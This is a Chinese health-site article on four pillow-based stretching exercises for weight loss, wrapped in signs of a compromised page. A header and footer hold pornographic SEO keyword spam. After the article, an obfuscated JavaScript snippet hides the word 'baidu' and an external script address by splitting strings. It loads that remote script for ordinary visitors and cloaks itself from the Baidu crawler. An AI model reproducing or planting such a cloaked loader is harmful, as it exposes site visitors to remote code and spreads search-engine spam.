久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 運動減肥 > 正文

枕頭減肥操 讓你輕松減肥

2017-03-09 14:09:06  來源:360常識網   熱度:
導語:運動減肥并不是一定要到戶外運動得滿頭大汗,也不是非要使勁控制飲食才可以額!在家里拿著枕頭也可以減肥哦。下面一起來看看小編推薦的枕頭操,簡單易學,輕松瘦全身哦。

減肥方法這么多,并不是非要節食加上運動得出大汗才是額!其實,我們生活中有很多可減肥塑身的小物件。例如:枕頭,今天小編教大家如何利用枕頭進行減肥!

第一式:雙腿背部伸展式

做法:坐位,雙腿前伸,將枕頭放在腿上面。呼氣時上身壓向枕頭,頭側向一邊,保持5次呼吸。吸氣時還原。

功效:借助枕頭可以填補上身與腿之間的距離,更好地消除雙腿壓力,促進睡眠。

第二式:蝗蟲式

做法:俯臥,枕頭放在胸下,雙手交疊放于下頜的下方。吸氣,一側腿向上抬高,保持3次呼吸。呼氣還原,相反一側重復同樣動作。

功效:收緊臀部,塑造臀部線條,臀大肌的一張一弛,將能量推向脊椎。 在閑暇時間,你只要在家里拿上你的枕頭就能和在健身房一樣“玩”塑身。

第三式:側腰伸展

做法:雙腿盤坐,雙手抓住枕頭兩邊舉起,高過頭頂。吸氣向上伸展,呼氣腰彎向一側,保持2次呼吸。吸氣還原,呼氣另外一側做同樣動作。

功效:伸展腰兩邊肌肉,放松脊椎。

第四式:肩膀拉伸

做法:跪位,雙手在身體后側抓住枕邊。吸氣時雙臂向上抬高,保持2次呼吸。呼氣,上身向一側扭轉,保持2次呼吸。吸氣還原,相反一側重復同樣動作。

功效:借用枕頭的連接,使雙臂可以向上伸展到極至,充分釋放肩胛區域的緊張。達到使大腦瞬間放松的作用。

這么簡單的枕頭減肥操你學到了嗎?趕快動起來吧!

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 亚洲蜜桃精久久久久久久 | 91视频播放| 玖玖色资源 | 99国内精品久久久久久久 | 中文字幕亚洲不卡 | 亚洲精品乱码久久久久久国产主播 | 久久久久国产视频 | 天堂综合网 | 成年人网站在线免费观看 | 国产精品久久久久国产a级 91国内外精品自在线播放 | 五月婷婷综合激情 | 亚洲视频一区在线 | 极品少妇一区二区三区精品视频 | 欧美成人高清视频 | 在线看h | 日韩av一区三区 | 羞羞视频网站免费看 | 国产一区二区三区网站 | www国产免费| 国产成人网 | 91精品麻豆日日躁夜夜躁 | 久久99深爱久久99精品 | 在线中文字幕视频 | 中文字幕在线免费观看 | 亚洲视频中文字幕 | 欧美成视频 | 99re免费视频精品全部 | 国外成人在线视频网站 | 欧美在线视频网站 | 国产精品成av人在线视午夜片 | 中文字幕免费观看 | 久久国产精品久久精品 | 中文字幕在线不卡 | 91精品久久久久久久99蜜桃 | 日韩中文一区 | 久久久久久国产 | 羞羞视频官网 | 欧美日本一区 | 青青青国产 | 亚洲一区二区视频 | 色综合天天天天做夜夜夜夜做 |